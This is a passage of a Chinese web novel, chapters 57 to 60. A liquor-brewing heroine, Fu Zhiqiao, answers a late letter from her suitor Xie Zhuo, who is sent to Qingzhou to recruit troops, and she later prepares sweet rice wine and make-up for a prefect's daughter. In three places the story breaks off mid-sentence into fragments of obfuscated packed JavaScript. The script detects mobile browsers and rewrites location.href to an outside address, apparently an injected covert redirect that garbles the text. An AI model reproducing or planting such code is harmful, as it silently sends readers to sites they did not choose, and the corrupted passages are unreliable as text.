看着酒桶里的酒液,傅知乔的嘴角浮现出一抹笑意。 如果说太白酒是傅知乔用来打开名气的,那么,醉诗仙就是她的终极武器。 太白酒的特色是辛辣霸道,甘冽净爽,回味悠长。 醉诗仙的口感烈而不辣,回味甘甜,酒性也要比太白酒更醇厚猛烈、后劲十足,不但能空杯留香,也比太白酒更耐储存。 在酒庄里忙碌了两三个月,第一批酿造的醉诗仙成功入了酒窖。 57. 等待回信 初秋,天气由闷热变得越来越凉爽,早晚的风也带着些许凉意。 傅知乔早早的起床洗漱好,坐在桌前喝着鸡丝粥,银杏在一旁替她收拾行李。 为了酿造醉诗仙,傅知乔在庄园待了有两个月了,余柔岚放心不下铺子里的账,已经先她一步回去了。把接下来的事情交给高老头和文江处理,她也要回城安排其他的事情了。 银杏把傅知乔带过来的夏衫全部收进箱子里,接着又去了书桌前替她收拾册子书信,傅知乔的桌子有许多的机密资料,从来没有让外人碰过,基本上都是银杏在整理。 突然,银杏从书桌旁的抽屉柜里拿出一个锦盒。 “姑娘,这儿什么时候多个一个锦盒?” “什么锦盒?” 傅知乔看了看银杏手中精致的锦盒,好像是有那么几分眼熟,但是她来的时候也没有带什么贵重的东西呀。 黑漆描金嵌玉方盒,盒盖中间还镶嵌着一块玉石,连盒子都如此精美,里面的所装之物自然也不是凡品。 “打开看看。” 银杏托起锦盒,傅知乔伸手解搭扣,随着“咔啪”一声脆响,锦盒应声而开,露出了里面装着的东西。 盒中垫着雪白的素缎,上面放着一封信和一支簪子。 “姑娘,这支簪子好漂亮!”银杏赞叹出声。 翡翠宝石莲花簪,傅知乔仔细看了看这支盛开的莲花簪,上头的花瓣一看就是用冰种翡翠雕刻出来的,纹路精巧入微,翡翠的质地清亮似水,在光线的折射下,每一片花瓣都晶莹透亮。 中间的芯是一颗粉色宝石,璀璨耀眼,一看就知道价值不菲! 没有专业的打磨机器和抛光设备,全靠雕刻师手工打磨出来,在这个时代能有如此精湛的工艺,哪怕傅知乔以现代的审美观念来看这支簪子,它也算的上是珍贵细致的宝物了。 同时,她也确定这支簪子不是她的,问银杏:“这盒子从哪来的?” 银杏指了指柜子:“就在那个抽屉柜里。” 傅知乔好像有点印象了,上个月德福来酒庄跟她汇报铺子里的情况,跟她说是谢公子从京城托人送过来的。 簪子是谢卓送的。 托物言情,一般男子送女子发簪,有作为定情信物的意思。 谢卓让信使把东西送到了太白酒铺,德福代为收下了然后再送到她手上的,德福把盒子放在了桌子上,被她随手塞进了抽屉里。 傅知乔一拍额头,她就说嘛,这些日子总觉得心神不宁,像是忘记了什么重要的东西一样。 她当时忙着和高老头讨论酿造醉诗仙的细节,一门心思全扑在了酿酒上,便没来得及看信。她本想着晚点再看也不要紧,结果后面忙着收高粱忙着酿酒,就彻底把这件事忘在脑后了,直到刚刚被银杏翻出来她才想起来有这么一回事。 对了,还有信! 信封上写着傅知乔亲启的字样,谢卓在信上简单的说了自己的近况,说偶然间看到这支簪子觉得与她很配就买了下来,还询问了她的情况,问黑虎寨那群人是否老实……最后还隐晦的表达了期待她回信的意思。 信上落款的日期已经是近两个月前的事情了。 傅知乔看完这封信,不由有些头疼的揉了揉额角。 惭愧啊!实在是惭愧啊! 从谢卓送出信到现在已经有两个月了,两人才互通心意她就失联了两个月,整整两个月了还没有收到回信,傅知乔不敢想象谢卓会有什么反应。 傅知乔此刻的心情有些微妙,自打来到这个世界她就没有过要嫁人生子的念头,当初与赵均回解除婚约时她心里都是高兴的。 她主动脱离家族,来青州重新建立起属于自己的事业,这一切都是为了让自己和余柔岚能更好的生活。 最开始与谢卓接触,傅知乔完全是冲着他的美色去的。 在大街上看到她受欺时挺身而出、在大集上为她捧场、灯会上的意外拥抱,黑虎寨山的全心守护……几次三番接触下来,她能感觉到谢卓对自己是有别样的意思的,所以她主动戳破了那层窗户纸。 即便已经知道了彼此的心意,但傅知乔内心还是犹豫的,因为与谢卓相知相处完全超出了她的人生计划。 “未嫁从父,出嫁从夫,夫死从子。”在大魏,这种思想是刻在了每个人心头,因为时代的局限性,这里的女性们几乎失去了独立的人权。 她娘余柔岚就是如此。 女子一旦出嫁,就会成为丈夫的附庸品,她不想让自己落到这样的境地。 傅知乔的思绪渐渐飘远,她接受的教育决定了她不可能接受自己的丈夫三妻四妾,而谢卓的那通身气质一看就不是普通人,将来…… “姑娘?姑娘?”银杏一脸奇怪的看着傅知乔,姑娘这是怎么了,怎么突然不说话了? 银杏的话说声把她的思绪拉了回来。 “没事!”傅知乔不免觉得自己有点好笑,人家就送了个簪子而已,自己却想到结婚生子上的事情去了。 她摇摇头,把多余的想法甩出脑袋。 将来的事情将来再说吧,如今太白酒和醉诗仙都已顺利酿造出来了,她也可以算得上事业小成,适当的享受生活也未尝不可。 这时,小厮在门外禀告:“姑娘,马车已经备好了。” 傅知乔收起了信,让银杏把簪子收好:“收起来吧!” 银杏立刻上前,将簪子放进锦盒里一起收到了马车上。 一切收拾妥帖,傅知乔和银杏走出小院大门,文山亲自带着几个护院护送她回城。傅知乔临走时想了想,回头对文江叮嘱了一句要他细心看管好生产线,有什么问题随时向她禀报。 进入城里,路过一家墨斋的时候,傅知乔特意让文山将马车停在一边,自己进去买了些纸笔,准备一回到家中就给谢卓回信。 坐了半天马车回到家,傅知乔此刻根本懒得动,但她还是强打起精神给谢卓写了回信。 吩咐银杏找信使,快马加鞭把信送出去。 银杏:“送到哪儿?” “……”傅知乔也无语了,她还不知道谢卓的家在哪里,除了知晓他骁骑军副将的身份之外,其他的一切她都一无所知。 “送给京城骁骑军谢卓。” 不知道谢卓的家在哪里,送到他的单位总没错吧! * 另外一边,谢卓烦闷的心情却是怎么都抑制不住。 “可有青州来的信件?” 王骞信眼神迷茫,一时没有反应过来。 “她还没有回信?” 看着谢卓不悦的脸色,王骞信顿时恍然大悟,小心翼翼回答:“……没有。”说完他已经不敢看世子的脸色了。 自打世子爷让人给傅姑娘送了信后就一直等待着回信,哪知两个月过去了,傅姑娘那边半点反应都无。 这段时间,世子爷的脸色是一天比一天难看。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321443|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >王骞信摸了一把额头的冷汗,看着浑身都散发着冰冷寒气的谢卓,他小心翼翼进言:“世子不是说傅姑娘在研制新酒嘛,或许她被什么事情给耽误住了。” 谢卓仿佛正在和谁赌气一般,咬牙切齿道:“她忙到连回一封信的时间都没有吗?” 这下王骞信可不敢答话了,顶着谢卓杀人般的视线,他内心哀嚎:傅姑娘,你快回信吧!世子爷的怨念一天比一天重,你再不回信,我就快要坚持不住了! 在他的信件和礼物寄出去的第十天时,傅知乔没有回信,谢卓的情绪开始有些焦躁。 那时他还担心自己写的信是不是没有送到,青州到京城的距离不过百里之远,不说快马加鞭赶路,哪怕是按正常的速度也早该有回信了。 第二十天时,谢卓心里很不是滋味,信再什么说也该寄到了,为何傅知乔迟迟没有回信呢?难道说信送错地方了?她并没有收到? 可越是这么想,他心里就越是难受。 谢卓皱着眉头让人传来信使,询问是怎么回事,信使回禀说确定把信送到青州城的太白酒铺了,是酒铺掌柜亲自收下的。 信使口中的掌柜是德福没错了,谢卓挥手让他退下。 又过去了十来天,傅知乔那边依然没有动静,谢卓彻底坐不住了,心里怨念丛生。 他始终不愿承认自己是被傅知乔忽视了,还宽慰自己,或许她被什么麻烦给缠住了,又或许信已经在来的路上了呢,再等等吧! 等啊等,结果两个月过去了,傅知乔那边还是没有回信。 谢卓的心情也从一开始的焦急变得麻木。 她是不是把自己忘了? 一想到这谢卓心中就有说不出的难受,他越想越心急,对她思念也越来越深,恨不得立马去到她身边。 这才两个月的时间,他怎么就那么想念她呢? 谢卓都怀疑自己是不是魔怔了,此事若是被孙立轩那厮知道了,定是要笑话自己。 第二天,谢卓如往常一般来到校场训练,一招一式用尽了力气,对着木桩狠狠发泄着心中的怨气。 正巧有个武将走过来说要与他切磋一番。 “请谢副将多多指教!”武将抱拳。 “田校尉,开始吧!”一个人练武多少有些无聊,有人来对战再好不过了。 两人都摆出战斗的姿势,田校尉率先发动攻击,不出一息他的拳头已然行至眼前,谢卓左脚轻点地面,调动身体的力量避开攻击。 田校尉的出拳速度又快又猛,可谢卓也不是吃素的,你攻我闪,动作迅猛如风。 眨眼间,谢卓和田校尉已经来回过了十几招了,罗振海从军帐中走出来,看着二人比武微笑着点点头,自己当年也是这般年轻气盛,与战友一起训练,互相切磋武艺,想到这里罗振海不禁感叹了一句:“还是年轻好啊!” 手上功夫占不到便宜,田校尉便转换目标攻击他的下盘,他双手撑地压低了身体重心,双腿自上而下向谢卓横扫过来。 说时迟那时快,谢卓一个手掌拍地跃身而起,身体在空中停顿了两秒,转身来到田校尉的身后,抓住他的双肩,一个过肩把他摔在了地上。 田校尉从地上爬起来,拍拍身上的灰尘,“谢副将果然武艺高强,末将佩服!” 谢卓打完一架,心情也痛快了些:“多谢田校尉承让!” 两人友好交流一番,有士兵来请他们:“谢副将田校尉,罗将军有请。” 58. 朝廷征兵 北疆乃苦寒之地,那边的游牧民族最是悍勇,相比较处在中原的大魏而言,他们的地理位置是不占优势的。每到冬季就会出现物资缺乏的情况,所以他们就会越过边境线抢掠大魏百姓们的物资。 近几年来蛮夷外族野心勃勃,侵扰不断,凉州的百姓苦不堪言。当地的官员每年都呈上奏折请求皇帝出兵保护,承德皇帝并没有无视他们的请求,可国家兵力不足,每年派过去的几千几万援兵只能起到帮助作用,并不能震慑外族。 双方都没有必战的决心,战事也陷入到了僵局之中。 承德皇帝声音微微发沉:“朕接到边关急报,北疆蛮夷号称有二十万联军,对凉州虎视眈眈,众位爱卿有何意见?” 凉州是大魏与北疆的边界,凉州一旦被攻破,敌人的铁骑便能趁势南下,长驱直入攻进中原。 朝臣的心中也有几分不安,君心难测,陛下这意思是打还是不打? 如果凉州有失,大好河山被敌人肆意践踏,到时候,这个责任谁来担?陛下的怒火谁来平息? 兵部尚书孟松良出列:“陛下,凉州乃我朝要地,蛮夷威胁不容忽视,如今他们号称拥有二十万联军,若是凉州的防线被攻破,下一步必是入侵中原,臣以为应当早作准备为好。” “陛下,蛮夷小国可能已经暗地结盟意图攻击凉州,以往几次掠抢应该是在试探我方的兵力,臣认为,可调遣益州的兵去援驰凉州。” “远水解不了近渴,陛下若是把益州的兵调走,益州又该当如何?” 户部尚书:“陛下,国库尚不充盈,臣认为不宜与那蛮夷大动干戈,陛上只需派骁骑军两万精英战士前去支援,其余的士兵全部留守在凉州护住百姓安全即可。” 罗振海:“哼!出兵支援,你说的到轻巧,只派出我骑军两万将士如何抵挡得住二十万外敌的侵袭?” 冷兵器时代的战争,拼的就是人强马壮,两人兵马相差如此悬殊,何谈能打胜仗? 臣子们有各自的立场,在朝堂上争执不下。 最后还是兵部尚书站了出来:“陛下,凉州问题迫在眉睫,需委派得力干将前去压阵才能保护边关安宁,臣以为应当立刻征兵增援……”孟松良分析完利弊:“陛下,此次镇压蛮夷,我朝兵力不可低于二十万,需得举全国之力征兵方可。” 士兵不够,那就征兵。 大臣们出谋划策,君臣之间经过再三讨论,最后兵部提交的征兵计划。此次征兵面向全国,共计二十七万。其中骑兵四万、步兵十万、弓弩手两万、炮手一万、盾牌手两万…… 承德皇帝御笔一批,由兵部下文到各州县,让各个州县的知府通知下去。 * 罗振海的军帐内,除了谢卓和田校尉,还有一个丁校尉也在。 “人都来齐了,那本将长话短说,朝廷的征兵圣旨下来了,我们骁骑军要做相应的准备。” 罗振海作为骁骑军的大将军,陛下已经把征兵这件事交由他和兵书尚书共同处理了。 两人分地招兵,各自负责不同的地区,兵书尚书负责前往禹州、叙州、凉州征兵,罗振海负责青州、益州、幽州这三处。 骁骑军是大魏的精英兵力,朝廷征兵共计二十七万,其中有一半要归纳到骁骑军旗下。 罗振海:“朝廷的征兵的公文今日就能印制好,明日便会派人快马加鞭送往各州县。圣上命令我们骁骑军前往益州、幽州、青州这三地征兵,人数不得少于十五万。需要在一个月之内完成,各位有何异议?” 谢卓一听到青州,心思瞬间活络起来了,他主动请缨:“将军,末将认为我们可以兵分三路,这样能在最短的时间内征集到更多的兵力。” 兵分三路,每一位将士各负责一个州县,三地同时进行,确实是方便又有效率。 现在已经九月了,征兵必须要在十月底完成,要留出两个月的时间来把新兵训练,才能在十二月前赶往凉州御敌。 罗振海点点头,采纳了谢卓的建议:“田校尉丁校尉,你们二人前往益州、幽州,谢副将你去往青州。” 罗振海自己则留在京城统筹。 田胜对这个安排倒是没有意见,丁思平心中有些不服气。 丁思平在军中熬了十年,积攒了无数军功才升到校尉,谢卓这小子凭什么上来就当了副将,他自认为不比谢卓差。而现在,罗将军又将他指派到相对容易的青州,丁思平不服,凭什么把谢卓分到容易的地方。 相比较青州而言,益州、幽州一带的路途崎岖,尤其是幽州人烟稀少,短时间内征兵怕是有不少的难度。 罗振海看着丁思平:“你和田胜都是军中的老兵了,怎么好意思和新人计较?我知道益州、幽州的路途相对艰难,可谢副将年轻经验尚缺,我担心他出差错才把他派到青州,难道说你们也担不起前往益州、幽州征兵的重任?” “怎么可能!”丁思平出声反对,他怎么会比不上谢卓这个生菜瓜子! 那不就结了,罗振海直接拍板:“不用说了,就这么定了!” 罗振海主动将谢卓派到了青州,一来,确实是担心他年纪轻轻比不上老兵有经验;二来,就是看在老王爷谢和山的面子,对他的孙子照顾一二。 罗振海将骁骑军的安排上奏给皇帝,计划紧急,三日后就要出发。 * 征兵这么大的动静,最先知道的是大臣们的家眷了。 端亲王府内,左慕蕊知道谢卓要去青州后,心里一团乱麻。 朝廷突然要征兵,这完全打乱了她的计划。 她本想着让谢卓留在京城慢慢接触世家女子,她也会尽力创造机会让他与贵族女子们相处, 这下到好,谢卓突然受到圣上的命令,马上就要离京去往青州,这让左慕蕊怎么能不生气。 左慕蕊垂下眸子,不用想也知道谢卓去了青州后会做什么,朝廷征兵是一方面,另一方面是他要去青州找那女子。 离开了京城,天高皇帝远的,她无法阻止两人接触,万一发生点什么事就晚了,她不能让两人的感情再进一步加深! 左慕蕊越想越气,找来谢卓,她冷声严肃说:“怀砚,我今日找你来也不与你打那弯弯绕绕了,我不允许你再去找那个女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369732|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听到没有?” “母妃慎言,儿子此行是公差,是替朝廷征兵。” “骁骑军那么多将士,怎么偏偏把你派去了青州?” 谢卓装傻,“这是罗将军的指派,圣上也同意了。” 征兵事关重大,谢卓已经在皇帝那里过了明路了,左慕蕊再怎么不愿意也干扰不了。 儿大不由娘,既然无发阻挡他们接触,倒不如以退为进,另辟蹊径。 左慕蕊的心口起起伏伏,好半天才将自己的情绪平复下去,她盯着谢卓:“千里迢迢跑到青州征兵,这趟差事着实辛苦。怀砚也到了该娶妻生子的年纪,娘知道你此去青州必定会与傅姑娘见面,既然她是你喜爱之人娘也不好再说什么,此行办差不如顺便她带回来,娘做主帮你把她纳进府。” 谢卓还奇怪他娘怎么突然间就改了态度,结果说来说去还是要他纳傅知乔为妾,谢卓眼中闪过一抹烦躁,反对道:“母妃,我说过……” 左慕蕊知道谢卓青州是为了去找那个女子,一个血气方刚的年轻男子,遇到自己的心爱之人,难保不会做出什么出格之事。 这么些年,她何曾看见过儿子对一个姑娘如此上心? 左慕蕊不得不下一剂猛药。 “你是我儿子,你心里想什么我最清楚。你若是个普通人家的男子,我这个做娘的定然不会反对你娶心爱的女子。可你不是,你不止是谢卓,你还是端亲王府的世子爷,未来的端亲王!” 谢卓沉默不语,不知道在想些什么。 左慕蕊端正了身子,神情严肃:“母妃让你纳傅姑娘做妾,绝不是低看她的意思,母妃知道你喜欢傅姑娘,但傅姑娘的出身和家世实在难当王府的主母,你若实在喜爱她,只能等成亲后再将她纳进府来……” “母妃,儿子没法和不喜欢的女子成亲。”以傅知乔的身份做正妃确实有难度,谢卓心里有其他的打算。 在谢卓离开的一刹那,左慕蕊眼里的笑意消失的干干净净。 既然无法彻底打消他的念头,不如把人放在自己的眼皮底下,左慕蕊就不信了,她还拿捏不了一个小小的商户之女。 谢卓并没把左慕蕊的话放进心里,因为傅知乔的回信到了,就在他即将带兵出发赶往青州的时候,傅知乔的回信到了。 傅知乔在信上解释了自己回信晚的原因,说谢卓挑的簪子很好看她很喜欢,还说她的新酒已经酿出来了,是她亲手所酿,特地给他留了几坛…… 除此之外,傅知乔还在信中写了自己在酒庄时的日常生活,两个月没有回谢卓的信她本就有点心虚,回信再不多写点内容岂不是显得她很敷衍?傅知乔洋洋洒洒地写了两页纸才让人把信送出去。 两页信纸,谢卓很快就看完了。 原来她也一直思念着他,原来他们两个人一直都彼此思念,谢卓苦闷了两月之久的心情骤然变晴。 王骞信看见谢卓的脸色变化,心里暗叹一声,还好傅姑娘的信及时送到了。 可以预见的是接下来的这几天世子爷都是好心情,去往青州这一路他总算不用看到世子爷那张严肃的脸了。 59. 甜酒酿 傅知乔前脚刚从乡下回到傅家,后脚周妙思的侍女就找了过来,“傅姑娘,我家小姐有请。” 傅知乔认出眼前之人就是周妙思的贴身侍女黄鹂。 她一问才知道,原来是周妙思喝了青梅酒一段时间之后,发现果然有面色红润的效果,想邀请她到府里聚一聚。 傅知乔没想到自己误打误撞,居然成了青梅酒的代言人,有了她这块活招牌,青梅酒能养颜这个功效也足以令人信服了。 难怪最近德福来汇报,说青梅酒的销量上去了,傅知乔估摸着这里面应该有周妙思的一份功劳。 次日,傅知乔带着银杏拜访周妙思,周府门房早有人通报了,黄鹂出来领着傅知乔直接去了周妙思的院子。 看着挑高的门厅和气派的大门,傅知乔感慨不愧是刺史府上,整个院落型制十分规整,一进门便是曲折游廊,院门重重叠叠,把庭院里各处空间分隔开来。 走了大约半炷香,到了周妙思的院子。 周妙思正在堂屋里等着她,见她进来,下人们立即上来端水端茶。 “知乔妹妹近来可好,今日请你过府来一叙,实在是有个不情之请。” “妙思姐姐有话不妨直说。” 自从听了傅知乔的推荐,周妙思就买了青梅酒喝,她也确实感觉自己的面色红润了不少,加上傅知乔长得漂亮,又懂得美容养颜,周妙思便动了请她为自己调养的心思。 傅知乔听后简直不知道说什么好,她哪里会什么调养身子的方法。 在傅知乔看来,周妙思找她调养身子只是一个借口罢了。 堂堂刺史家的大小姐,府上什么好东西没有,为什么会找自己一个名不见经传的人来为她调养身子? 在她的旁敲侧击之下,周妙思说出了真实的理由。 原来还有半个月就是周妙思的及笄礼,她必须要在那一天艳惊四座,因为她的表哥会过来观礼。 傅知乔秒懂,这位表哥应当就是她的心上人。 少女隐秘的心思不好跟家中长辈直说,但又想在当天艳惊四座,她便把主意打到了傅知乔身上。 看着周妙思殷切的眼神,傅知乔说不出拒绝的话,更何况,这可是一个大好的机会,周妙思找到自己,说明她信任自己的本事。 傅知乔答应了下来,还卖了个关子,只说三日后再上门为她调理。 回到自己家中,傅知乔琢磨着有什么快速美容养颜的方法,还特地去问了余柔岚,余柔岚手上有不少私藏的方子,有阵子特别痴迷为她煲粥炖汤养身体。 余柔岚当她是女子爱俏,直说并没有什么能短期内美容养颜的方法,之前那些都是内调方子,余柔岚还教育她说女子调理身体是个漫长的过程,切不可操之过急。 余柔岚那边不能给与帮助,傅知乔只能自己琢磨了。 周妙思的底子并不差,加上年纪小,皮肤光滑细腻并无什么斑点瑕疵,无非是有些肤色不均匀,嘴唇颜色不够粉润等小问题,能提升的空间不多。 等等?肤色不均匀?嘴唇颜色偏深?这些问题都可以通过化妆来改变啊! 傅知乔立刻找到了重点,她有信心让周妙思在及笄礼当天惊艳众人。 至于调养身子,既然短期内没有效果,傅知乔就懒得去找那些繁琐的方子了,她准备简单的给周妙思补补气血就好! 说到补气血,傅知乔第一个想到的就是做甜酒酿。 刚好她是卖酒的,刚好她家中有一个会酿甜酒的人。 醪糟是甜酒的另一种叫法。 傅知乔第一见到小月时,她就在大街上卖自酿的醪糟,不过那时候,小月的醪糟发酵的不算好,酒味不浓且还带着一股酸味。 甜酒酿这种民间小吃,周妙思这样的贵族大小姐肯定吃过,给千金大小姐吃的东西,自然不能跟小月一样做的那般简陋。 傅知乔打算做个升级版的酒酿圆子。 下人们买回来材料,在傅知乔的监督指导下,小月专心做着改良版的酒酿。 糯米淘洗干净浸泡两个时辰,蒸熟后晾到温热,加入酒曲和少量的凉白开拌匀,拌好酒曲的糯米压平装在无水无油的容器里,在中间挖个小眼,放置在干燥地方密封发酵两三天即可。 这个改良版酒酿发酵用的酒曲和太白酒一样,出酒率自然是不用担心。 除此之外,小月还在厨房里学着用傅知乔教的方法做糯米圆子,糯米磨成粉加水揉成软硬适中不粘手的小团子,下锅煮至浮起捞出。 小月是第一次做这个东西,掌握不好糯米丸子的比例和火候,煮出来不是软趴趴就是有硬芯,经过一次次练习,最后终于做出了让傅知乔满意的糯米圆子。 软糯弹牙,圆滚可爱,合格! 第三天,傅知乔打开发酵好的甜酒,没长毛且不发酸,糯米出汁很多、酒香浓郁。 取来砂锅将糯米圆子煮软,再加入甜酒酿和枸杞就成了。 傅知乔带着银杏坐上马车赶往周府,这回不用门房通报,黄鹂早早地就在门口等着她了。 周妙思房内,银杏小心翼翼地把食盒放在放上了桌子。 周妙思已经迫不及待了,她急着催促了一句:“黄鹂,你快打开看看。” 黄鹂走到桌子前,轻轻打开炖盅的盖子,顿时,一股沁人心脾的酒香弥漫开来。 精致的炖盅中,酒酿的颜色是乳白色,一颗颗圆滚的白色丸子若隐若现地浮沉着,上面还撒了几粒红色的枸杞点缀,配色十分诱人。 傅知乔为她介绍着:“此汤名为甜酒酿,温补益气、健脾养胃,还有补血养颜、舒筋活血之功效。” 周妙思满怀期待的尝了一口。 酒酿味浓甜润,喝一口整个口腔弥漫着一股清甜,圆子个个软软糯糯,酒酿的清香喝弹牙的糯米圆子巧妙地融合在了一起,甜度也刚刚合适,不会让人吃了有发腻的感觉。 周妙思瞬间被这碗甜酒酿吸引住了,她虽没有直说,但是脸上愉悦的表情已经说明了一切。 一炖盅很快被周妙思喝完,她扯了块帕子擦嘴,露出满足的笑容:“知乔的手艺果真不会让人失望。” 周妙思很满意,傅知乔为她调养身体的事情就这么定了下来。 身为刺史府的大小姐,周妙思不但财力雄厚也很识趣,一口气付了一千两银子。 傅知乔也没推脱,直接收下了。 甜酒酿的原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434611|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料成本并不值一千两银子,但为她调养身子的过程中,傅知乔花的时间和精力已经远远超出这个价了。真要计较的话,这区区一千两银子是请不到她的,她是看在与周妙思的交情才愿意过来帮忙。 她一个无权无势的商户人家,与刺史大小姐交好绝对不是坏事! 傅知乔从余柔岚手里拿了补身体的药膳,还变着法给周妙思做了原味甜酒酿、鸡蛋甜酒酿、、甜酒酿果茶……其中,周妙思最喜欢的是甜酒酿圆子。 知道了她的喜好,傅知乔便让小月把丸子做成不同的口味,原味丸子、南瓜丸子、果汁丸子…… 太白酒铺里后院的小厨房里,小月在里面忙着做甜酒酿,傅知乔在她身后指挥着。 用糯米磨成粉,再把蒸熟的南瓜捣成泥状,加入糯米粉搓成指甲盖大小的黄色丸子。烧锅热水等南瓜糯米丸子漂浮起来后,加入甜酒和冰糖炖煮一会,出锅前再撒上一些干桂花,一碗甜酒酿圆子就做好了。 一份送到刺史府给周妙思,一碗送回家给余柔岚,剩下一碗自己喝。 在及笄前的这段日子里,周妙思每隔一日就派人到扶云阁里拿甜酒酿。 当初为了扩张太白酒铺,傅知乔特意买下两边的铺子,她本想把这间大的作为女客接待间,后来想想只卖酒有点大材小用,毕竟她把里面装修的这么精美,可不是为了让人进来买一瓶酒就走。 干脆将这间铺子改名为扶云阁,她要把这里打造成即可以卖就,又可以喝下午茶的地方,专门用来接待夫人小姐们。 为周妙思做美容养颜方面的调养虽是私下进行的,但她的婢女隔天就往扶云阁里跑却是明面上的。 于是,刺史家的小姐爱喝青梅酒这件事就这么传开了。 * 扶云阁里只开了一瓶青梅酒用作展示。 “这就是青梅酒吗?闻起来跟普通的酒不太一样。” “嗯,甜丝丝的。” “这就是刺史小姐爱喝的那款酒?” 两个女子围着青梅酒说话,一大一小看起来是母女,大的那个看起来有三十多岁,小的那个脸上稚气未消,一双眼睛水汪汪的,大约十一二岁的样子。 这对母女也是冲着青梅酒的名气来的,听闻贵族小姐们都爱喝这酒,她们好奇特地过来看看。 一旁的女侍连连点头,为她们介绍起来:“这款青梅酒颜色金黄透亮,它最大的特点就是果味浓郁,清新芳香,喝起来酸酸甜甜不醉人,口感舒畅香甜,您要是喝过一定会喜欢上的。” “连刺史小姐都爱喝的酒,娘,林表姐不是要过生辰了嘛,我们不如买一瓶回去送给她做贺礼?” 女侍趁热打铁:“青梅酒的酒瓶用的白釉梅瓶,再搭配这梅花雕花礼盒,你瞧瞧这细致的雕工,作为生辰贺礼绝对不丢您的面子!” 母女俩满意的拎着礼盒走出扶云阁的大门,走的时候,女侍还在门口弯腰相送,平没有因为她们是平民而低看一眼。 渐渐地,扶云阁的口碑也起来了。 傅知乔顺势推出了养颜茶和点心,以此来丰富扶云阁里的菜单。同时,她也没忘记周妙思,周妙思是扶云阁的第一块活招牌,傅知乔对她更上心了。 60. 化妆水平 傅知乔虽然年纪小,但莫名给人一种很强的信服力。 周妙思很听她的话,隔天就会喝一炖盅甜酒酿,甜酒补气养血,红枣补中益气,枸杞养肝明目。药膳和甜酒酿同补,半月过去,周妙思的变化很明显,脸颊红润,肌肤更是透着白瓷般的光泽。 丫鬟们不由得赞叹起来:“姑娘气色好了,变得更美了!” “真的吗?”周妙思半信半疑地看向铜镜,她日日都照镜子,没有看出来什么大变化。 “真的!”丫鬟们猛地点头,小姐现在的状态好极了! 听到丫鬟们的赞美,周妙思喜不自胜。 黄鹂端着洗漱的铜盆站在一侧,周妙思手中拿着帕子擦去脸上的水珠,此时的她脸上未施粉黛,但能看出那一抹红润是从肌肤底下透出来的,气色是由内而外的好。 黄鹂夸赞道:“傅姑娘的方法果真有用,小姐这肌肤柔柔滑滑,吹弹可破,比以往更美了!”黄鹂是她的贴身婢女,周妙思这段时间的变化她一直看在眼里,从前小姐的皮肤就很好,经过傅姑娘的调理后越发白皙光滑了。 是吗?周妙思不自觉的摸向自己的脸,细润如脂,“真没有想到知乔的美容粥效果这么神奇。” 与傅知乔结交果然是个正确的决定,周妙思心中愈发觉得庆幸,还好自己没有因为她的身份而看低她。 及笄的前一天。 傅知乔来到刺史府,为周妙思做最后的试妆,她到的时候,周妙思已经穿着常服坐在妆奁前等着她了。 “我来为你改妆。” 帮人帮到底,傅知乔帮她调理了身子也顺便帮她改改妆容,她认真研究过周妙思的五官,跑了很多家脂粉铺子才找出适合周妙思的颜色和胭脂。 周妙思身量不算高,身材娇俏玲珑,五官却是大气那一挂的,脸颊晕满腮红的浓艳妆容根本不适合她。 傅知乔一改她之前的浓艳风格,帮她换了个淡雅高贵的妆容。 敷香粉、画蛾眉、涂口脂,依照次序上妆。 胡粉打底,周妙思经过调养后的肌肤已经不需要敷大量的胡粉来掩饰了,傅知乔在她脸上薄薄的打了一层粉,增强肌肤光泽感。 轻扑薄粉,青黛描眉,接下来就到了眼妆部分。 没有眼影就用唇脂替代,先是用指尖沾取了少许檀色唇脂,点涂在眼皮处慢慢晕开后眼皮上就多了一层薄红色,然后用眉棒在眼尾处画出线条,让双眼有一个自然放大的效果,看起来更有神、更水灵。 傅知乔摈弃了胭脂花片,特地买来了唇脂。 先挑出一抹绛色唇脂,再挑出一抹丹色唇脂,将两个颜色在手背融合在一起,一种全新的颜色就诞生了! 浓郁的绛红色里面融入了一丝微弱的丹橘色调,最后呈现出来的是淡淡的红棕调,显眼又不会太过张扬,是一个比较特别的颜色。 如此一番操作直接让周妙思看花了眼,她开始怀疑自己那一千两银子是不是给少了。 傅知乔用手勾住周妙思的下巴:“嘴巴张开。” 周妙思很听话乖乖的张开了嘴。 傅知乔用食指点了点周妙思的唇峰,说:“妙思你的上唇较薄,我需要为你增加嘴唇的厚度。” 大魏女子崇尚樱桃小口,涂口脂时一般都不会涂满整个嘴唇,周妙思也不例外。但周妙思的嘴唇本就偏薄,再涂个樱桃小口就显得有些小家子气,与她本身的气质根本不搭。 